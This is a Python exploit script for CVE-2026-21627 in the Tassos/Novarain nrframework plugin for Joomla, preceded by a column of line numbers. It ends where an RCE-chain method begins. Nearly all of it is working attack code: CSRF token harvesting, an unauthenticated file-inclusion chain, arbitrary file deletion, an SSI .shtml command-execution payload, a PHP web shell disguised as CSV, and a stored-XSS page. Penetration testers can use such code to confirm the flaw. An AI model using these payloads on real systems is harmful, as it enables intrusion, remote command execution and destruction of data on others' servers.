1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
| #!/usr/bin/env python3
"""
CVE-2026-21627 - Tassos/Novarain Framework (plg_system_nrframework) Exploit
Affects versions 4.10.14 - 6.0.37 on Joomla CMS
Vulnerability: Unauthenticated Arbitrary PHP File Inclusion via ajaxTaskInclude()
The 'include' task in onAjaxNrframework() allows frontend (non-admin) access.
The 'path' parameter uses RAW input filter (no sanitization), enabling arbitrary
PHP file inclusion. Combined with gadget classes (e.g. nrinlinefileupload),
this enables:
- Arbitrary file delete (onRemove → unlink without path validation)
- File upload to user-controlled directory (onUpload → base64-decoded upload_folder)
- Potential RCE via .shtml SSI injection or PHP polyglot upload
Usage:
python3 cve_2026_21627.py --target https://example.com --mode verify
python3 cve_2026_21627.py --target https://example.com --mode upload --shell-type shtml
python3 cve_2026_21627.py --target https://example.com --mode delete --file-path /var/www/html/test.txt
Author: Yallasec - Arcangelo@Saracino.yallasec.com @arkango - https://yallasec.com
"""
import argparse
import base64
import json
import re
import sys
import time
import requests
from urllib.parse import urljoin, urlencode, urlparse
# Suppress SSL warnings for self-signed certs
requests.packages.urllib3.disable_warnings()
DELAY = 2.5 # seconds between requests
# --- Color output helpers ---
class C:
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
CYAN = "\033[96m"
BOLD = "\033[1m"
RST = "\033[0m"
def info(msg): print(f"{C.BLUE}[*]{C.RST} {msg}")
def success(msg): print(f"{C.GREEN}[+]{C.RST} {msg}")
def warn(msg): print(f"{C.YELLOW}[!]{C.RST} {msg}")
def error(msg): print(f"{C.RED}[-]{C.RST} {msg}")
def banner():
print(f"""{C.CYAN}{C.BOLD}
╔══════════════════════════════════════════════════════╗
║ CVE-2026-21627 - nrframework File Include Exploit ║
║ Tassos/Novarain Framework 4.10.14 - 6.0.37 ║
╚══════════════════════════════════════════════════════╝{C.RST}
""")
class NRFrameworkExploit:
"""Exploit for CVE-2026-21627 arbitrary file inclusion in nrframework."""
# Gadget: nrinlinefileupload has onAjax() with file upload and delete
GADGET_PATH = "plugins/system/nrframework/fields/"
GADGET_FILE = "nrinlinefileupload"
GADGET_CLASS = "JFormFieldNRInlineFileUpload"
def __init__(self, target, sef_prefix="/it/", delay=DELAY, proxy=None, verify_ssl=False):
self.target = target.rstrip("/")
self.sef_prefix = sef_prefix
self.delay = delay
self.verify_ssl = verify_ssl
self.session = requests.Session()
self.session.verify = verify_ssl
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
})
self.csrf_token = None
self.base_url = None # will be set after auth
def _sleep(self):
"""Rate limiting between requests."""
time.sleep(self.delay)
def authenticate(self):
"""
Establish a Joomla session and extract the matching CSRF token.
Joomla creates session cookies lazily - not on the homepage, but on
specific requests. We trigger session creation by probing the AJAX
endpoint, then re-fetch the homepage WITH the session cookie to get
a CSRF token that matches this session.
"""
# Build base AJAX URL using Joomla's SEF format
self.base_url = self.target + self.sef_prefix + "component/ajax/"
# Step 1: Visit homepage to get load-balancer/ADC cookies
info("Step 1/3: Fetching initial cookies from homepage...")
url = self.target + self.sef_prefix
try:
self.session.get(url, timeout=30, allow_redirects=True)
except requests.RequestException as e:
error(f"Cannot reach target: {e}")
return False
self._sleep()
# Step 2: Probe the AJAX endpoint to trigger Joomla session creation
info("Step 2/3: Triggering Joomla session creation...")
try:
self.session.get(
self.base_url,
params={"format": "raw", "plugin": "nrframework"},
timeout=30,
allow_redirects=True,
)
except requests.RequestException:
pass # We just need the Set-Cookie header
self._sleep()
# Step 3: Re-visit homepage WITH session cookie to get matching CSRF
info("Step 3/3: Extracting session-bound CSRF token...")
try:
resp = self.session.get(url, timeout=30, allow_redirects=True)
except requests.RequestException as e:
error(f"Cannot reach target: {e}")
return False
# Extract CSRF token from Joomla's csrf.token JS variable
m = re.search(r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"', resp.text)
if not m:
m = re.search(r'<input[^>]+name="([a-f0-9]{32})"[^>]+value="1"', resp.text)
if not m:
error("Could not extract CSRF token from homepage")
return False
self.csrf_token = m.group(1)
# Show session info
joomla_cookie = None
for name, value in self.session.cookies.items():
if len(name) == 32 and all(c in '0123456789abcdef' for c in name):
joomla_cookie = (name, value)
break
if joomla_cookie:
success(f"Joomla session: {joomla_cookie[0]}={joomla_cookie[1][:16]}...")
else:
warn("No Joomla session cookie detected (using ADC cookies only)")
success(f"CSRF token: {self.csrf_token}")
return True
def _build_include_params(self, extra_params=None):
"""
Build the query parameters for the ajaxTaskInclude() exploit.
This is the core of CVE-2026-21627.
"""
params = {
"format": "raw",
"plugin": "nrframework",
"task": "include",
"path": self.GADGET_PATH,
"file": self.GADGET_FILE,
"class": self.GADGET_CLASS,
self.csrf_token: "1",
}
if extra_params:
params.update(extra_params)
return params
def _ajax_request(self, method="GET", params=None, data=None, files=None):
"""
Send a request to the vulnerable AJAX endpoint.
Joomla SEF routing may cause 303 redirects with &-encoded Location headers.
We follow redirects manually, fixing the encoding issue.
"""
url = self.base_url
max_redirects = 5
for attempt in range(max_redirects + 1):
try:
if method == "GET":
resp = self.session.get(url, params=params, timeout=30, allow_redirects=False)
else:
resp = self.session.post(url, params=params, data=data, files=files, timeout=30, allow_redirects=False)
except requests.RequestException as e:
error(f"Request failed: {e}")
return None
# Follow redirects manually, fixing & encoding
if resp.status_code in (301, 302, 303, 307, 308):
location = resp.headers.get("Location", "")
if not location:
break
# Fix Joomla's & encoding in redirect URLs
location = location.replace("&", "&")
# Make absolute if relative
if location.startswith("/"):
parsed = urlparse(self.target)
location = f"{parsed.scheme}://{parsed.netloc}{location}"
info(f"Following redirect ({resp.status_code}) → {location[:120]}...")
# For 303, switch to GET and drop body/files
if resp.status_code == 303:
method = "GET"
data = None
files = None
url = location
params = None # params are now in the redirect URL
time.sleep(0.5)
continue
break
self._sleep()
return resp
# ──────────────────────────────────────────────
# MODE: verify
# ──────────────────────────────────────────────
def verify(self):
"""
Verify the vulnerability exists by triggering the include chain.
Expected: the gadget class is loaded and onAjax() executes,
returning a JSON response instead of FILE_ERROR/CLASS_ERROR/METHOD_ERROR.
"""
info("Verifying CVE-2026-21627 (arbitrary file inclusion)...")
params = self._build_include_params()
resp = self._ajax_request("GET", params=params)
if resp is None:
error("No response received")
return False
body = resp.text.strip()
status = resp.status_code
info(f"HTTP {status} | Response length: {len(body)} | Body: {body[:200]}")
# Check for error signatures from ajaxTaskInclude
if body == "FILE_ERROR":
error("FILE_ERROR - gadget file not found at expected path")
warn("The plugin may be installed at a different path or version differs")
return False
elif body == "CLASS_ERROR":
error("CLASS_ERROR - file included but class not found")
return False
elif body == "METHOD_ERROR":
error("METHOD_ERROR - class found but onAJAX method missing")
return False
# If we get a JSON response or any other response, the chain executed
if "error" in body.lower() or "response" in body.lower() or "upload" in body.lower():
success("VULNERABLE! Gadget class instantiated and onAjax() executed")
success(f"Response: {body[:300]}")
return True
# Any non-error response means the include chain worked
if status == 200 and body not in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
success("VULNERABLE! File inclusion chain executed successfully")
success(f"Response: {body[:300]}")
return True
warn(f"Unexpected response (HTTP {status}): {body[:200]}")
return False
# ──────────────────────────────────────────────
# MODE: delete (arbitrary file delete)
# ──────────────────────────────────────────────
def delete_file(self, file_path):
"""
Exploit the onRemove() method in JFormFieldNRInlineFileUpload
to delete an arbitrary file on the server.
The onRemove() code:
if (file_exists($file)) { unlink($file); }
No path validation is performed.
"""
info(f"Attempting to delete file: {file_path}")
warn("This is a DESTRUCTIVE operation!")
params = self._build_include_params({
"action": "remove",
"remove_file": file_path,
})
resp = self._ajax_request("GET", params=params)
if resp is None:
error("No response received")
return False
body = resp.text.strip()
info(f"HTTP {resp.status_code} | Response: {body[:300]}")
try:
data = json.loads(body)
if data.get("error") is False:
success(f"File deletion succeeded: {file_path}")
return True
else:
warn(f"Server response: {data.get('response', 'unknown')}")
except json.JSONDecodeError:
warn(f"Non-JSON response: {body[:200]}")
return False
# ──────────────────────────────────────────────
# MODE: upload (file upload to controlled dir)
# ──────────────────────────────────────────────
def upload_file(self, shell_type="shtml", upload_dir="images", custom_content=None):
"""
Exploit the onUpload() method in JFormFieldNRInlineFileUpload
to upload a file to a user-controlled directory.
The upload_folder is base64-decoded from user input.
Allowed MIME types: text/plain, text/csv
Allowed extensions (for text/plain): csv, txt, shtml, html, log, etc.
RCE strategies:
- shtml: Upload .shtml with SSI <!--#exec cmd="..." --> (requires mod_include)
- csv: Upload .csv with PHP polyglot (requires PHP config to parse .csv)
- txt: Upload .txt for info disclosure / proof of write
"""
# Encode the upload directory in base64
upload_folder_b64 = base64.b64encode(upload_dir.encode()).decode()
# Check if base64 contains chars stripped by Joomla's CMD filter (+, /, =)
unsafe_chars = set(upload_folder_b64) & set("+/=")
if unsafe_chars:
warn(f"Upload dir '{upload_dir}' encodes to base64 with unsafe chars: {unsafe_chars}")
warn("Joomla's CMD filter may strip these. Try a simpler directory name.")
# Strip padding = since base64_decode in PHP handles missing padding
upload_folder_b64 = upload_folder_b64.rstrip("=")
remaining_unsafe = set(upload_folder_b64) & set("+/")
if remaining_unsafe:
error(f"Cannot encode path without +/: {upload_folder_b64}")
return None
info(f"Upload directory: {upload_dir} (base64: {upload_folder_b64})")
# Prepare the shell content based on type
if custom_content:
content = custom_content
filename = f"test.{shell_type}"
elif shell_type == "shtml":
# IMPORTANT: No HTML tags! mime_content_type() detects <html>/<script> as text/html.
# Pure SSI directives (XML comments) pass as text/plain.
content = (
'Server status report\n'
'<!--#exec cmd="id" -->\n'
'<!--#exec cmd="uname -a" -->\n'
'<!--#exec cmd="cat /etc/hostname" -->\n'
)
filename = "server-status.shtml"
info("Shell type: SHTML (Server-Side Includes)")
info("Requires: Apache mod_include enabled")
elif shell_type == "csv":
# PHP polyglot disguised as CSV
# Starts with valid CSV to fool MIME detection
content = (
"name,value,description\n"
"test,1,data export\n"
"status,ok,verified\n"
'<?php if(isset($_GET["c"])){system($_GET["c"]);} ?>\n'
)
filename = "export-data.csv"
info("Shell type: CSV with embedded PHP")
info("Requires: Apache configured to parse PHP in .csv files (unlikely)")
elif shell_type == "txt":
content = (
"CVE-2026-21627 - Proof of arbitrary file write\n"
f"Target: {self.target}\n"
f"Timestamp: {time.strftime('%Y-%m-%d %H:%M:%S UTC', time.gmtime())}\n"
"This file was uploaded via the nrframework file inclusion vulnerability.\n"
)
filename = "pentest-proof.txt"
info("Shell type: TXT (proof of file write only)")
elif shell_type == "html":
# HTML file - useful for stored XSS proof
content = (
"<html><head><title>Security Test</title></head><body>\n"
"<h1>CVE-2026-21627 - Proof of Concept</h1>\n"
"<p>This file was uploaded via the nrframework vulnerability.</p>\n"
f"<p>Target: {self.target}</p>\n"
"<script>document.write('XSS: '+document.domain)</script>\n"
"</body></html>\n"
)
filename = "security-test.html"
info("Shell type: HTML (stored XSS proof)")
else:
error(f"Unknown shell type: {shell_type}")
return None
# MIME type for the upload
mime_map = {
"shtml": "text/plain",
"csv": "text/csv",
"txt": "text/plain",
"html": "text/plain",
}
mime_type = mime_map.get(shell_type, "text/plain")
info(f"Uploading: {filename} ({len(content)} bytes, MIME: {mime_type})")
# Build the multipart POST request
# The AJAX endpoint params go in the query string
params = self._build_include_params({
"upload_folder": upload_folder_b64,
})
# The file goes as multipart form data
files = {
"file": (filename, content.encode(), mime_type)
}
resp = self._ajax_request("POST", params=params, files=files)
if resp is None:
error("No response received")
return None
body = resp.text.strip()
info(f"HTTP {resp.status_code} | Response: {body[:500]}")
try:
data = json.loads(body)
if data.get("error") is False:
file_b64 = data.get("file", "")
file_name_b64 = data.get("file_name", "")
uploaded_path = base64.b64decode(file_b64).decode() if file_b64 else "unknown"
uploaded_name = base64.b64decode(file_name_b64).decode() if file_name_b64 else "unknown"
success(f"FILE UPLOADED SUCCESSFULLY!")
success(f"Server path: {uploaded_path}")
success(f"Filename: {uploaded_name}")
success(f"File size: {data.get('file_size', 'unknown')}")
# Construct the URL to access the uploaded file
access_url = f"{self.target}/{upload_dir}/{uploaded_name}"
success(f"Access URL: {access_url}")
if shell_type == "shtml":
info("Checking if SSI is enabled by accessing the uploaded file...")
self._sleep()
try:
check = self.session.get(access_url, timeout=15)
if "uid=" in check.text:
success("RCE CONFIRMED via SSI! Command output:")
print(f"\n{C.GREEN}{check.text}{C.RST}\n")
elif "<!--#exec" in check.text:
warn("SSI directives not processed - mod_include likely disabled")
info(f"File is accessible at: {access_url}")
else:
info(f"Response from uploaded file:\n{check.text[:500]}")
except requests.RequestException as e:
warn(f"Could not access uploaded file: {e}")
elif shell_type == "html":
info(f"Access the stored XSS at: {access_url}")
return {
"path": uploaded_path,
"name": uploaded_name,
"url": access_url,
"size": data.get("file_size"),
}
else:
error(f"Upload failed: {data.get('response', 'unknown error')}")
if "unsafe" in str(data.get("response", "")).lower():
warn("Joomla's isSafeFile() blocked the upload")
warn("The file content was flagged as potentially dangerous")
elif "mime" in str(data.get("response", "")).lower() or "type" in str(data.get("response", "")).lower():
warn("MIME type or extension validation failed")
elif "Invalid" in str(data.get("response", "")):
warn("File validation failed - check allowed MIME types")
except json.JSONDecodeError:
if body in ("FILE_ERROR", "CLASS_ERROR", "METHOD_ERROR"):
error(f"Include chain failed: {body}")
else:
warn(f"Non-JSON response: {body[:300]}")
return None
# ──────────────────────────────────────────────
# MODE: rce (chained attack for RCE)
# ──────────────────────────────────────────────
def rce_chain(self, cmd="id"):
"""
Attempt full RCE chain:
1. Upload .shtml shell to images/
2. If SSI works, execute commands
3. If not, try .csv polyglot approach
4. Report results
"""
info("Starting RCE chain exploit...")
print()
|